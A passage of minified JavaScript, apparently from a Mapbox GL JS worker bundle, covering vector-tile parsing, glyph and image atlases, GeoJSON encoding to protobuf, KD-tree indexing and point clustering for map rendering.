1=Xv,o.ease=u,o.emitValidationErrors=ma,o.endsWith=m,o.enforceCacheSizeLimit=Ft,o.evaluateSizeForFeature=lv,o.evaluateSizeForZoom=uv,o.evaluateVariableOffset=mv,o.evented=fa,o.extend=i,o.featureFilter=sl,o.filterObject=C,o.fromRotation=If,o.getAnchorAlignment=ph,o.getAnchorJustification=mh,o.getArrayBuffer=gt,o.getImage=Ue,o.getJSON=vt,o.getRTLTextPluginStatus=Ra,o.getReferrer=Ut,o.getVideo=Ne,o.identity=_f,o.invert=Gu,o.isChar=it,o.isMapboxURL=ge,o.keysDifference=h,o.makeRequest=rt,o.mapObject=n,o.mercatorXfromLng=Pv,o.mercatorYfromLat=Rv,o.mercatorZfromAltitude=Dv,o.mul=Qc,o.multiply=Wu,o.mvt=Nf,o.normalize=sc,o.number=xi,o.offscreenCanvasSupported=Pr,o.ortho=Jc,o.parseGlyphPBF=Np,o.pbf=zc,o.performSymbolLayout=n0,o.perspective=oc,o.pick=v,o.plugin=Wa,o.polygonIntersectsPolygon=Ia,o.postMapLoadEvent=Ge,o.postTurnstileEvent=bt,o.potpack=ev,o.refProperties=I0,o.register=se,o.registerForPluginStateChange=ya,o.rotate=yo,o.rotateX=Uo,o.rotateZ=zf,o.scale=No,o.scale$1=Zv,o.scale$2=eh,o.setCacheLimits=Gt,o.setRTLTextPlugin=Ca,o.sphericalToCartesian=O,o.sqrLen=Jv,o.styleSpec=Ht,o.sub=Wv,o.symbolSize=jp,o.transformMat3=Gv,o.transformMat4=Pc,o.translate=Pi,o.triggerPluginCompletionEvent=Kn,o.uniqueId=w,o.validateCustomStyleLayer=b0,o.validateLight=dn,o.validateStyle=cn,o.values=b,o.vectorTile=Nf,o.version=S,o.warnOnce=B,o.webpSupported=K,o.window=self,o.wrap=y}),P(["./shared"],function(o){function L(nt){var rt=typeof nt;if(rt==="number"||rt==="boolean"||rt==="string"||nt===void 0||nt===null)return JSON.stringify(nt);if(Array.isArray(nt)){for(var vt="[",gt=0,wt=nt;gt<wt.length;gt+=1){var mt=wt[gt];vt+=L(mt)+","}return vt+"]"}for(var Pt=Object.keys(nt).sort(),zt="{",Xt=0;Xt<Pt.length;Xt++)zt+=JSON.stringify(Pt[Xt])+":"+L(nt[Pt[Xt]])+",";return zt+"}"}function S(nt){for(var rt="",vt=0,gt=o.refProperties;vt<gt.length;vt+=1){var wt=gt[vt];rt+="/"+L(nt[wt])}return rt}function d(nt,rt){for(var vt={},gt=0;gt<nt.length;gt++){var wt=rt&&rt[nt[gt].id]||S(nt[gt]);rt&&(rt[nt[gt].id]=wt);var mt=vt[wt];mt||(mt=vt[wt]=[]),mt.push(nt[gt])}var Pt=[];for(var zt in vt)Pt.push(vt[zt]);return Pt}var g=function(rt){this.keyCache={},rt&&this.replace(rt)};g.prototype.replace=function(rt){this._layerConfigs={},this._layers={},this.update(rt,[])},g.prototype.update=function(rt,vt){for(var gt=this,wt=0,mt=rt;wt<mt.length;wt+=1){var Pt=mt[wt];this._layerConfigs[Pt.id]=Pt;var zt=this._layers[Pt.id]=o.createStyleLayer(Pt);zt._featureFilter=o.featureFilter(zt.filter),this.keyCache[Pt.id]&&delete this.keyCache[Pt.id]}for(var Xt=0,Yt=vt;Xt<Yt.length;Xt+=1){var $t=Yt[Xt];delete this.keyCache[$t],delete this._layerConfigs[$t],delete this._layers[$t]}this.familiesBySource={};for(var yr=d(o.values(this._layerConfigs),this.keyCache),Ue=0,Ne=yr;Ue<Ne.length;Ue+=1){var Et=Ne[Ue],Lt=Et.map(function(or){return gt._layers[or.id]}),Nt=Lt[0];if(Nt.visibility!=="none"){var rr=Nt.source||"",tr=this.familiesBySource[rr];tr||(tr=this.familiesBySource[rr]={});var Jt=Nt.sourceLayer||"_geojsonTileLayer",It=tr[Jt];It||(It=tr[Jt]=[]),It.push(Lt)}}};var t=1,r=function(rt){var vt={},gt=[];for(var wt in rt){var mt=rt[wt],Pt=vt[wt]={};for(var zt in mt){var Xt=mt[+zt];if(!(!Xt||Xt.bitmap.width===0||Xt.bitmap.height===0)){var Yt={x:0,y:0,w:Xt.bitmap.width+2*t,h:Xt.bitmap.height+2*t};gt.push(Yt),Pt[zt]={rect:Yt,metrics:Xt.metrics}}}}var $t=o.potpack(gt),yr=$t.w,Ue=$t.h,Ne=new o.AlphaImage({width:yr||1,height:Ue||1});for(var Et in rt){var Lt=rt[Et];for(var Nt in Lt){var rr=Lt[+Nt];if(!(!rr||rr.bitmap.width===0||rr.bitmap.height===0)){var tr=vt[Et][Nt].rect;o.AlphaImage.copy(rr.bitmap,Ne,{x:0,y:0},{x:tr.x+t,y:tr.y+t},rr.bitmap)}}}this.image=Ne,this.positions=vt};o.register("GlyphAtlas",r);var f=function(rt){this.tileID=new o.OverscaledTileID(rt.tileID.overscaledZ,rt.tileID.wrap,rt.tileID.canonical.z,rt.tileID.canonical.x,rt.tileID.canonical.y),this.uid=rt.uid,this.zoom=rt.zoom,this.pixelRatio=rt.pixelRatio,this.tileSize=rt.tileSize,this.source=rt.source,this.overscaling=this.tileID.overscaleFactor(),this.showCollisionBoxes=rt.showCollisionBoxes,this.collectResourceTiming=!!rt.collectResourceTiming,this.returnDependencies=!!rt.returnDependencies,this.promoteId=rt.promoteId};f.prototype.parse=function(rt,vt,gt,wt,mt){var Pt=this;this.status="parsing",this.data=rt,this.collisionBoxArray=new o.CollisionBoxArray;var zt=new o.DictionaryCoder(Object.keys(rt.layers).sort()),Xt=new o.FeatureIndex(this.tileID,this.promoteId);Xt.bucketLayerIDs=[];var Yt={},$t={featureIndex:Xt,iconDependencies:{},patternDependencies:{},glyphDependencies:{},availableImages:gt},yr=vt.familiesBySource[this.source];for(var Ue in yr){var Ne=rt.layers[Ue];if(Ne){Ne.version===1&&o.warnOnce('Vector tile source "'+this.source+'" layer "'+Ue+'" does not use vector tile spec v2 and therefore may have some rendering errors.');for(var Et=zt.encode(Ue),Lt=[],Nt=0;Nt<Ne.length;Nt++){var rr=Ne.feature(Nt),tr=Xt.getId(rr,Ue);Lt.push({feature:rr,id:tr,index:Nt,sourceLayerIndex:Et})}for(var Jt=0,It=yr[Ue];Jt<It.length;Jt+=1){var or=It[Jt],ur=or[0];if(!(ur.minzoom&&this.zoom<Math.floor(ur.minzoom))&&!(ur.maxzoom&&this.zoom>=ur.maxzoom)&&ur.visibility!=="none"){a(or,this.zoom,gt);var fr=Yt[ur.id]=ur.createBucket({index:Xt.bucketLayerIDs.length,layers:or,zoom:this.zoom,pixelRatio:this.pixelRatio,overscaling:this.overscaling,collisionBoxArray:this.collisionBoxArray,sourceLayerIndex:Et,sourceID:this.source});fr.populate(Lt,$t,this.tileID.canonical),Xt.bucketLayerIDs.push(or.map(function(nr){return nr.id}))}}}}var lr,Nr,Rr,Cr,vn=o.mapObject($t.glyphDependencies,function(nr){return Object.keys(nr).map(Number)});Object.keys(vn).length?wt.send("getGlyphs",{uid:this.uid,stacks:vn},function(nr,Sr){lr||(lr=nr,Nr=Sr,Sn.call(Pt))}):Nr={};var Ur=Object.keys($t.iconDependencies);Ur.length?wt.send("getImages",{icons:Ur,source:this.source,tileID:this.tileID,type:"icons"},function(nr,Sr){lr||(lr=nr,Rr=Sr,Sn.call(Pt))}):Rr={};var Mn=Object.keys($t.patternDependencies);Mn.length?wt.send("getImages",{icons:Mn,source:this.source,tileID:this.tileID,type:"patterns"},function(nr,Sr){lr||(lr=nr,Cr=Sr,Sn.call(Pt))}):Cr={},Sn.call(this);function Sn(){if(lr)return mt(lr);if(Nr&&Rr&&Cr){var nr=new r(Nr),Sr=new o.ImageAtlas(Rr,Cr);for(var Dr in Yt){var Ir=Yt[Dr];Ir instanceof o.SymbolBucket?(a(Ir.layers,this.zoom,gt),o.performSymbolLayout(Ir,Nr,nr.positions,Rr,Sr.iconPositions,this.showCollisionBoxes,this.tileID.canonical)):Ir.hasPattern&&(Ir instanceof o.LineBucket||Ir instanceof o.FillBucket||Ir instanceof o.FillExtrusionBucket)&&(a(Ir.layers,this.zoom,gt),Ir.addFeatures($t,this.tileID.canonical,Sr.patternPositions))}this.status="done",mt(null,{buckets:o.values(Yt).filter(function(Xr){return!Xr.isEmpty()}),featureIndex:Xt,collisionBoxArray:this.collisionBoxArray,glyphAtlasImage:nr.image,imageAtlas:Sr,glyphMap:this.returnDependencies?Nr:null,iconMap:this.returnDependencies?Rr:null,glyphPositions:this.returnDependencies?nr.positions:null})}}};function a(nt,rt,vt){for(var gt=new o.EvaluationParameters(rt),wt=0,mt=nt;wt<mt.length;wt+=1){var Pt=mt[wt];Pt.recalculate(gt,vt)}}function l(nt,rt){var vt=o.getArrayBuffer(nt.request,function(gt,wt,mt,Pt){gt?rt(gt):wt&&rt(null,{vectorTile:new o.vectorTile.VectorTile(new o.pbf(wt)),rawData:wt,cacheControl:mt,expires:Pt})});return function(){vt.cancel(),rt()}}var u=function(rt,vt,gt,wt){this.actor=rt,this.layerIndex=vt,this.availableImages=gt,this.loadVectorData=wt||l,this.loading={},this.loaded={}};u.prototype.loadTile=function(rt,vt){var gt=this,wt=rt.uid;this.loading||(this.loading={});var mt=rt&&rt.request&&rt.request.collectResourceTiming?new o.RequestPerformance(rt.request):!1,Pt=this.loading[wt]=new f(rt);Pt.abort=this.loadVectorData(rt,function(zt,Xt){if(delete gt.loading[wt],zt||!Xt)return Pt.status="done",gt.loaded[wt]=Pt,vt(zt);var Yt=Xt.rawData,$t={};Xt.expires&&($t.expires=Xt.expires),Xt.cacheControl&&($t.cacheControl=Xt.cacheControl);var yr={};if(mt){var Ue=mt.finish();Ue&&(yr.resourceTiming=JSON.parse(JSON.stringify(Ue)))}Pt.vectorTile=Xt.vectorTile,Pt.parse(Xt.vectorTile,gt.layerIndex,gt.availableImages,gt.actor,function(Ne,Et){if(Ne||!Et)return vt(Ne);vt(null,o.extend({rawTileData:Yt.slice(0)},Et,$t,yr))}),gt.loaded=gt.loaded||{},gt.loaded[wt]=Pt})},u.prototype.reloadTile=function(rt,vt){var gt=this,wt=this.loaded,mt=rt.uid,Pt=this;if(wt&&wt[mt]){var zt=wt[mt];zt.showCollisionBoxes=rt.showCollisionBoxes;var Xt=function(Yt,$t){var yr=zt.reloadCallback;yr&&(delete zt.reloadCallback,zt.parse(zt.vectorTile,Pt.layerIndex,gt.availableImages,Pt.actor,yr)),vt(Yt,$t)};zt.status==="parsing"?zt.reloadCallback=Xt:zt.status==="done"&&(zt.vectorTile?zt.parse(zt.vectorTile,this.layerIndex,this.availableImages,this.actor,Xt):Xt())}},u.prototype.abortTile=function(rt,vt){var gt=this.loading,wt=rt.uid;gt&&gt[wt]&&gt[wt].abort&&(gt[wt].abort(),delete gt[wt]),vt()},u.prototype.removeTile=function(rt,vt){var gt=this.loaded,wt=rt.uid;gt&&gt[wt]&&delete gt[wt],vt()};var s=o.window.ImageBitmap,y=function(){this.loaded={}};y.prototype.loadTile=function(rt,vt){var gt=rt.uid,wt=rt.encoding,mt=rt.rawImageData,Pt=s&&mt instanceof s?this.getImageData(mt):mt,zt=new o.DEMData(gt,Pt,wt);this.loaded=this.loaded||{},this.loaded[gt]=zt,vt(null,zt)},y.prototype.getImageData=function(rt){(!this.offscreenCanvas||!this.offscreenCanvasContext)&&(this.offscreenCanvas=new OffscreenCanvas(rt.width,rt.height),this.offscreenCanvasContext=this.offscreenCanvas.getContext("2d")),this.offscreenCanvas.width=rt.width,this.offscreenCanvas.height=rt.height,this.offscreenCanvasContext.drawImage(rt,0,0,rt.width,rt.height);var vt=this.offscreenCanvasContext.getImageData(-1,-1,rt.width+2,rt.height+2);return this.offscreenCanvasContext.clearRect(0,0,this.offscreenCanvas.width,this.offscreenCanvas.height),new o.RGBAImage({width:vt.width,height:vt.height},vt.data)},y.prototype.removeTile=function(rt){var vt=this.loaded,gt=rt.uid;vt&&vt[gt]&&delete vt[gt]};var c=b;function b(nt,rt){var vt=nt&&nt.type,gt;if(vt==="FeatureCollection")for(gt=0;gt<nt.features.length;gt++)b(nt.features[gt],rt);else if(vt==="GeometryCollection")for(gt=0;gt<nt.geometries.length;gt++)b(nt.geometries[gt],rt);else if(vt==="Feature")b(nt.geometry,rt);else if(vt==="Polygon")h(nt.coordinates,rt);else if(vt==="MultiPolygon")for(gt=0;gt<nt.coordinates.length;gt++)h(nt.coordinates[gt],rt);return nt}function h(nt,rt){if(nt.length!==0){i(nt[0],rt);for(var vt=1;vt<nt.length;vt++)i(nt[vt],!rt)}}function i(nt,rt){for(var vt=0,gt=0,wt=nt.length,mt=wt-1;gt<wt;mt=gt++)vt+=(nt[gt][0]-nt[mt][0])*(nt[mt][1]+nt[gt][1]);vt>=0!=!!rt&&nt.reverse()}var v=o.vectorTile.VectorTileFeature.prototype.toGeoJSON,T=function(rt){this._feature=rt,this.extent=o.EXTENT,this.type=rt.type,this.properties=rt.tags,"id"in rt&&!isNaN(rt.id)&&(this.id=parseInt(rt.id,10))};T.prototype.loadGeometry=function(){if(this._feature.type===1){for(var rt=[],vt=0,gt=this._feature.geometry;vt<gt.length;vt+=1){var wt=gt[vt];rt.push([new o.Point$1(wt[0],wt[1])])}return rt}else{for(var mt=[],Pt=0,zt=this._feature.geometry;Pt<zt.length;Pt+=1){for(var Xt=zt[Pt],Yt=[],$t=0,yr=Xt;$t<yr.length;$t+=1){var Ue=yr[$t];Yt.push(new o.Point$1(Ue[0],Ue[1]))}mt.push(Yt)}return mt}},T.prototype.toGeoJSON=function(rt,vt,gt){return v.call(this,rt,vt,gt)};var w=function(rt){this.layers={_geojsonTileLayer:this},this.name="_geojsonTileLayer",this.extent=o.EXTENT,this.length=rt.length,this._features=rt};w.prototype.feature=function(rt){return new T(this._features[rt])};var E=o.vectorTile.VectorTileFeature,p=A;function A(nt,rt){this.options=rt||{},this.features=nt,this.length=nt.length}A.prototype.feature=function(nt){return new m(this.features[nt],this.options.extent)};function m(nt,rt){this.id=typeof nt.id=="number"?nt.id:void 0,this.type=nt.type,this.rawGeometry=nt.type===1?[nt.geometry]:nt.geometry,this.properties=nt.tags,this.extent=rt||4096}m.prototype.loadGeometry=function(){var nt=this.rawGeometry;this.geometry=[];for(var rt=0;rt<nt.length;rt++){for(var vt=nt[rt],gt=[],wt=0;wt<vt.length;wt++)gt.push(new o.Point$1(vt[wt][0],vt[wt][1]));this.geometry.push(gt)}return this.geometry},m.prototype.bbox=function(){this.geometry||this.loadGeometry();for(var nt=this.geometry,rt=1/0,vt=-1/0,gt=1/0,wt=-1/0,mt=0;mt<nt.length;mt++)for(var Pt=nt[mt],zt=0;zt<Pt.length;zt++){var Xt=Pt[zt];rt=Math.min(rt,Xt.x),vt=Math.max(vt,Xt.x),gt=Math.min(gt,Xt.y),wt=Math.max(wt,Xt.y)}return[rt,gt,vt,wt]},m.prototype.toGeoJSON=E.prototype.toGeoJSON;var n=k,C=k,x=B,I=p;function k(nt){var rt=new o.pbf;return _(nt,rt),rt.finish()}function B(nt,rt){rt=rt||{};var vt={};for(var gt in nt)vt[gt]=new p(nt[gt].features,rt),vt[gt].name=gt,vt[gt].version=rt.version,vt[gt].extent=rt.extent;return k({layers:vt})}function _(nt,rt){for(var vt in nt.layers)rt.writeMessage(3,F,nt.layers[vt])}function F(nt,rt){rt.writeVarintField(15,nt.version||1),rt.writeStringField(1,nt.name||""),rt.writeVarintField(5,nt.extent||4096);var vt,gt={keys:[],values:[],keycache:{},valuecache:{}};for(vt=0;vt<nt.length;vt++)gt.feature=nt.feature(vt),rt.writeMessage(2,O,gt);var wt=gt.keys;for(vt=0;vt<wt.length;vt++)rt.writeStringField(3,wt[vt]);var mt=gt.values;for(vt=0;vt<mt.length;vt++)rt.writeMessage(4,q,mt[vt])}function O(nt,rt){var vt=nt.feature;vt.id!==void 0&&rt.writeVarintField(1,vt.id),rt.writeMessage(2,z,nt),rt.writeVarintField(3,vt.type),rt.writeMessage(4,J,vt)}function z(nt,rt){var vt=nt.feature,gt=nt.keys,wt=nt.values,mt=nt.keycache,Pt=nt.valuecache;for(var zt in vt.properties){var Xt=mt[zt];typeof Xt>"u"&&(gt.push(zt),Xt=gt.length-1,mt[zt]=Xt),rt.writeVarint(Xt);var Yt=vt.properties[zt],$t=typeof Yt;$t!=="string"&&$t!=="boolean"&&$t!=="number"&&(Yt=JSON.stringify(Yt));var yr=$t+":"+Yt,Ue=Pt[yr];typeof Ue>"u"&&(wt.push(Yt),Ue=wt.length-1,Pt[yr]=Ue),rt.writeVarint(Ue)}}function N(nt,rt){return(rt<<3)+(nt&7)}function G(nt){return nt<<1^nt>>31}function J(nt,rt){for(var vt=nt.loadGeometry(),gt=nt.type,wt=0,mt=0,Pt=vt.length,zt=0;zt<Pt;zt++){var Xt=vt[zt],Yt=1;gt===1&&(Yt=Xt.length),rt.writeVarint(N(1,Yt));for(var $t=gt===3?Xt.length-1:Xt.length,yr=0;yr<$t;yr++){yr===1&&gt!==1&&rt.writeVarint(N(2,$t-1));var Ue=Xt[yr].x-wt,Ne=Xt[yr].y-mt;rt.writeVarint(G(Ue)),rt.writeVarint(G(Ne)),wt+=Ue,mt+=Ne}gt===3&&rt.writeVarint(N(7,1))}}function q(nt,rt){var vt=typeof nt;vt==="string"?rt.writeStringField(1,nt):vt==="boolean"?rt.writeBooleanField(7,nt):vt==="number"&&(nt%1!==0?rt.writeDoubleField(3,nt):nt<0?rt.writeSVarintField(6,nt):rt.writeVarintField(5,nt))}n.fromVectorTileJs=C,n.fromGeojsonVt=x,n.GeoJSONWrapper=I;function ne(nt,rt,vt,gt,wt,mt){if(!(wt-gt<=vt)){var Pt=gt+wt>>1;fe(nt,rt,Pt,gt,wt,mt%2),ne(nt,rt,vt,gt,Pt-1,mt+1),ne(nt,rt,vt,Pt+1,wt,mt+1)}}function fe(nt,rt,vt,gt,wt,mt){for(;wt>gt;){if(wt-gt>600){var Pt=wt-gt+1,zt=vt-gt+1,Xt=Math.log(Pt),Yt=.5*Math.exp(2*Xt/3),$t=.5*Math.sqrt(Xt*Yt*(Pt-Yt)/Pt)*(zt-Pt/2<0?-1:1),yr=Math.max(gt,Math.floor(vt-zt*Yt/Pt+$t)),Ue=Math.min(wt,Math.floor(vt+(Pt-zt)*Yt/Pt+$t));fe(nt,rt,vt,yr,Ue,mt)}var Ne=rt[2*vt+mt],Et=gt,Lt=wt;for(X(nt,rt,gt,vt),rt[2*wt+mt]>Ne&&X(nt,rt,gt,wt);Et<Lt;){for(X(nt,rt,Et,Lt),Et++,Lt--;rt[2*Et+mt]<Ne;)Et++;for(;rt[2*Lt+mt]>Ne;)Lt--}rt[2*gt+mt]===Ne?X(nt,rt,gt,Lt):(Lt++,X(nt,rt,Lt,wt)),Lt<=vt&&(gt=Lt+1),vt<=Lt&&(wt=Lt-1)}}function X(nt,rt,vt,gt){W(nt,vt,gt),W(rt,2*vt,2*gt),W(rt,2*vt+1,2*gt+1)}function W(nt,rt,vt){var gt=nt[rt];nt[rt]=nt[vt],nt[vt]=gt}function V(nt,rt,vt,gt,wt,mt,Pt){for(var zt=[0,nt.length-1,0],Xt=[],Yt,$t;zt.length;){var yr=zt.pop(),Ue=zt.pop(),Ne=zt.pop();if(Ue-Ne<=Pt){for(var Et=Ne;Et<=Ue;Et++)Yt=rt[2*Et],$t=rt[2*Et+1],Yt>=vt&&Yt<=wt&&$t>=gt&&$t<=mt&&Xt.push(nt[Et]);continue}var Lt=Math.floor((Ne+Ue)/2);Yt=rt[2*Lt],$t=rt[2*Lt+1],Yt>=vt&&Yt<=wt&&$t>=gt&&$t<=mt&&Xt.push(nt[Lt]);var Nt=(yr+1)%2;(yr===0?vt<=Yt:gt<=$t)&&(zt.push(Ne),zt.push(Lt-1),zt.push(Nt)),(yr===0?wt>=Yt:mt>=$t)&&(zt.push(Lt+1),zt.push(Ue),zt.push(Nt))}return Xt}function Y(nt,rt,vt,gt,wt,mt){for(var Pt=[0,nt.length-1,0],zt=[],Xt=wt*wt;Pt.length;){var Yt=Pt.pop(),$t=Pt.pop(),yr=Pt.pop();if($t-yr<=mt){for(var Ue=yr;Ue<=$t;Ue++)Q(rt[2*Ue],rt[2*Ue+1],vt,gt)<=Xt&&zt.push(nt[Ue]);continue}var Ne=Math.floor((yr+$t)/2),Et=rt[2*Ne],Lt=rt[2*Ne+1];Q(Et,Lt,vt,gt)<=Xt&&zt.push(nt[Ne]);var Nt=(Yt+1)%2;(Yt===0?vt-wt<=Et:gt-wt<=Lt)&&(Pt.push(yr),Pt.push(Ne-1),Pt.push(Nt)),(Yt===0?vt+wt>=Et:gt+wt>=Lt)&&(Pt.push(Ne+1),Pt.push($t),Pt.push(Nt))}return zt}function Q(nt,rt,vt,gt){var wt=nt-vt,mt=rt-gt;return wt*wt+mt*mt}var ie=function(nt){return nt[0]},j=function(nt){return nt[1]},K=function(rt,vt,gt,wt,mt){vt===void 0&&(vt=ie),gt===void 0&&(gt=j),wt===void 0&&(wt=64),mt===void 0&&(mt=Float64Array),this.nodeSize=wt,this.points=rt;for(var Pt=rt.length<65536?Uint16Array:Uint32Array,zt=this.ids=new Pt(rt.length),Xt=this.coords=new mt(rt.length*2),Yt=0;Yt<rt.length;Yt++)zt[Yt]=Yt,Xt[2*Yt]=vt(rt[Yt]),Xt[2*Yt+1]=gt(rt[Yt]);ne(zt,Xt,wt,0,zt.length-1,0)};K.prototype.range=function(rt,vt,gt,wt){return V(this.ids,this.coords,rt,vt,gt,wt,this.nodeSize)},K.prototype.within=function(rt,vt,gt){return Y(this.ids,this.coords,rt,vt,gt,this.nodeSize)};var oe={minZoom:0,maxZoom:16,radius:40,extent:512,nodeSize:64,log:!1,generateId:!1,reduce:null,map:function(nt){return nt}},re=function(rt){this.options=Te(Object.create(oe),rt),this.trees=new Array(this.options.maxZoom+1)};re.prototype.load=function(rt){var vt=this.options,gt=vt.log,wt=vt.minZoom,mt=vt.maxZoom,Pt=vt.nodeSize;gt&&console.time("total time");var zt="prepare "+rt.length+" points";gt&&console.time(zt),this.points=rt;for(var Xt=[],Yt=0;Yt<rt.length;Yt++)rt[Yt].geometry&&Xt.push(pe(rt[Yt],Yt));this.trees[mt+1]=new K(Xt,Fe,Oe,Pt,Float32Array),gt&&console.timeEnd(zt);for(var $t=mt;$t>=wt;$t--){var yr=+Date.now();Xt=this._cluster(Xt,$t),this.trees[$t]=new K(Xt,Fe,Oe,Pt,Float32Array),gt&&console.log("z%d: %d clusters in %dms",$t,Xt.length,+Date.now()-yr)}return gt&&console.timeEnd("total time"),this},re.prototype.getClusters=function(rt,vt){var gt=((rt[0]+180)%360+360)%360-180,wt=Math.max(-90,Math.min(90,rt[1])),mt=rt[2]===180?180:((rt[2]+180)%360+360)%360-180,Pt=Math.max(-90,Math.min(90,rt[3]));if(rt[2]-rt[0]>=360)gt=-180,mt=180;else if(gt>mt){var zt=this.getClusters([gt,wt,180,Pt],vt),Xt=this.getClusters([-180,wt,mt,Pt],vt);return zt.concat(Xt)}for(var Yt=this.trees[this._limitZoom(vt)],$t=Yt.range(ke(gt),_e(Pt),ke(mt),_e(wt)),yr=[],Ue=0,Ne=$t;Ue<Ne.length;Ue+=1){var Et=Ne[Ue],Lt=Yt.points[Et];yr.push(Lt.numPoints?we(Lt):this.points[Lt.index])}return yr},re.prototype.getChildren=function(rt){var vt=this._getOriginId(rt),gt=this._getOriginZoom(rt),wt="No cluster with the specified id.",mt=this.trees[gt];if(!mt)throw new Error(wt);var Pt=mt.points[vt];if(!Pt)throw new Error(wt);for(var zt=this.options.radius/(this.options.extent*Math.pow(2,gt-1)),Xt=mt.within(Pt.x,Pt.y,zt),Yt=[],$t=0,yr=Xt;$t<yr.length;$t+=1){var Ue=yr[$t],Ne=mt.points[Ue];Ne.parentId===rt&&Yt.push(Ne.numPoints?we(Ne):this.points[Ne.index])}if(Yt.length===0)throw new Error(wt);return Yt},re.prototype.getLeaves=function(rt,vt,gt){vt=vt||10,gt=gt||0;var wt=[];return this._appendLeaves(wt,rt,vt,gt,0),wt},re.prototype.getTile=function(rt,vt,gt){var wt=this.trees[this._limitZoom(rt)],mt=Math.pow(2,rt),Pt=this.options,zt=Pt.extent,Xt=Pt.radius,Yt=Xt/zt,$t=(gt-Yt)/mt,yr=(gt+1+Yt)/mt,Ue={features:[]};return this._addTileFeatures(wt.range((vt-Yt)/mt,$t,(vt+1+Yt)/mt,yr),wt.points,vt,gt,mt,Ue),vt===0&&this._addTileFeatures(wt.range(1-Yt/mt,$t,1,yr),wt.points,mt,gt,mt,Ue),vt===mt-1&&this._addTileFeatures(wt.range(0,$t,Yt/mt,yr),wt.points,-1,gt,mt,Ue),Ue.features.length?Ue:null},re.prototype.getClusterExpansionZoom=function(rt){for(var vt=this._getOriginZoom(rt)-1;vt<=this.options.maxZoom;){var gt=this.getChildren(rt);if(vt++,gt.length!==1)break;rt=gt[0].properties.cluster_id}return vt},re.prototype._appendLeaves=function(rt,vt,gt,wt,mt){for(var Pt=this.getChildren(vt),zt=0,Xt=Pt;zt<Xt.length;zt+=1){var Yt=Xt[zt],$t=Yt.properties;if($t&&$t.cluster?mt+$t.point_count<=wt?mt+=$t.point_count:mt=this._appendLeaves(rt,$t.cluster_id,gt,wt,mt):mt<wt?mt++:rt.push(Yt),rt.length===gt)break}return mt},re.prototype._addTileFeatures=function(rt,vt,gt,wt,mt,Pt){for(var zt=0,Xt=rt;zt<Xt.length;zt+=1){var Yt=Xt[zt],$t=vt[Yt],yr=$t.numPoints,Ue={type:1,geometry:[[Math.round(this.options.extent*($t.x*mt-gt)),Math.round(this.options.extent*($t.y*mt-wt))]],tags:yr?xe($t):this.points[$t.index].properties},Ne=void 0;yr?Ne=$t.id:this.options.generateId?Ne=$t.index:this.points[$t.index].id&&(Ne=this.points[$t.index].id),Ne!==void 0&&(Ue.id=Ne),Pt.features.push(Ue)}},re.prototype._limitZoom=function(rt){return Math.max(this.options.minZoom,Math.min(rt,this.options.maxZoom+1))},re.prototype._cluster=function(rt,vt){for(var gt=[],wt=this.options,mt=wt.radius,Pt=wt.extent,zt=wt.reduce,Xt=mt/(Pt*Math.pow(2,vt)),Yt=0;Yt<rt.length;Yt++){var $t=rt[Yt];if(!($t.zoom<=vt)){$t.zoom=vt;for(var yr=this.trees[vt+1],Ue=yr.within($t.x,$t.y,Xt),Ne=$t.numPoints||1,Et=$t.x*Ne,Lt=$t.y*Ne,Nt=zt&&Ne>1?this._map($t,!0):null,rr=(Yt<<5)+(vt+1)+this.points.length,tr=0,Jt=Ue;tr<Jt.length;tr+=1){var It=Jt[tr],or=yr.points[It];if(!(or.zoom<=vt)){or.zoom=vt;var ur=or.numPoints||1;Et+=or.x*ur,Lt+=or.y*ur,Ne+=ur,or.parentId=rr,zt&&(Nt||(Nt=this._map($t,!0)),zt(Nt,this._map(or)))}}Ne===1?gt.push($t):($t.parentId=rr,gt.push(le(Et/Ne,Lt/Ne,rr,Ne,Nt)))}}return gt},re.prototype._getOriginId=function(rt){return rt-this.points.length>>5},re.prototype._getOriginZoom=function(rt){return(rt-this.points.length)%32},re.prototype._map=function(rt,vt){if(rt.numPoints)return vt?Te({},rt.properties):rt.properties;var gt=this.points[rt.index].properties,wt=this.options.map(gt);return vt&&wt===gt?Te({},wt):wt};function le(nt,rt,vt,gt,wt){return{x:nt,y:rt,zoom:1/0,id:vt,parentId:-1,numPoints:gt,properties:wt}}function pe(nt,rt){var vt=nt.geometry.coordinates,gt=vt[0],wt=vt[1];return{x:ke(gt),y:_e(wt),zoom:1/0,index:rt,parentId:-1}}function we(nt){return{type:"Feature",id:nt.id,properties:xe(nt),geometry:{type:"Point",coordinates:[be(nt.x),ge(nt.y)]}}}function xe(nt){var rt=nt.numPoints,vt=rt>=1e4?Math.round(rt/1e3)+"k":rt>=1e3?Math.round(rt/100)/10+"k":rt;return Te(Te({},nt.properties),{cluster:!0,cluster_id:nt.id,point_count:rt,point_count_abbreviated:vt})}function ke(nt){return nt/360+.5}function _e(nt){var rt=Math.sin(nt*Math.PI/180),vt=.5-.25*Math.log((1+rt)/(1-rt))/Math.PI;return vt<0?0:vt>1?1:vt}function be(nt){return(nt-.5)*360}function ge(nt){var rt=(180-nt*360)*Math.PI/180;return 360*Math.atan(Math.exp(rt))/Math.PI-90}function Te(nt,rt){for(var vt in rt)nt[vt]=rt[vt];return nt}function Fe(nt){return nt.x}function Oe(nt){return nt.y}function Ce(nt,rt,vt,gt){for(var wt=gt,mt=vt-rt>>1,Pt=vt-rt,zt,Xt=nt[rt],Yt=nt[rt+1],$t=nt[vt],yr=nt[vt+1],Ue=rt+3;Ue<vt;Ue+=3){var Ne=Be(nt[Ue],nt[Ue+1],Xt,Yt,$t,yr);if(Ne>wt)zt=Ue,wt=Ne;else if(Ne===wt){var Et=Math.abs(Ue-mt);Et<Pt&&(zt=Ue,Pt=Et)}}wt>gt&&(zt-rt>3&&Ce(nt,rt,zt,gt),nt[zt+2]=wt,vt-zt>3&&Ce(nt,zt,vt,gt))}function Be(nt,rt,vt,gt,wt,mt){var Pt=wt-vt,zt=mt-gt;if(Pt!==0||zt!==0){var Xt=((nt-vt)*Pt+(rt-gt)*zt)/(Pt*Pt+zt*zt);Xt>1?(vt=wt,gt=mt):Xt>0&&(vt+=Pt*Xt,gt+=zt*Xt)}return Pt=nt-vt,zt=rt-gt,Pt*Pt+zt*zt}function $e(nt,rt,vt,gt){var wt={id:typeof nt>"u"?null:nt,type:rt,geometry:vt,tags:gt,minX:1/0,minY:1/0,maxX:-1/0,maxY:-1/0};return Xe(wt),wt}function Xe(nt){var rt=nt.geometry,vt=nt.type;if(vt==="Point"||vt==="MultiPoint"||vt==="LineString")Ze(nt,rt);else if(vt==="Polygon"||vt==="MultiLineString")for(var gt=0;gt<rt.length;gt++)Ze(nt,rt[gt]);else 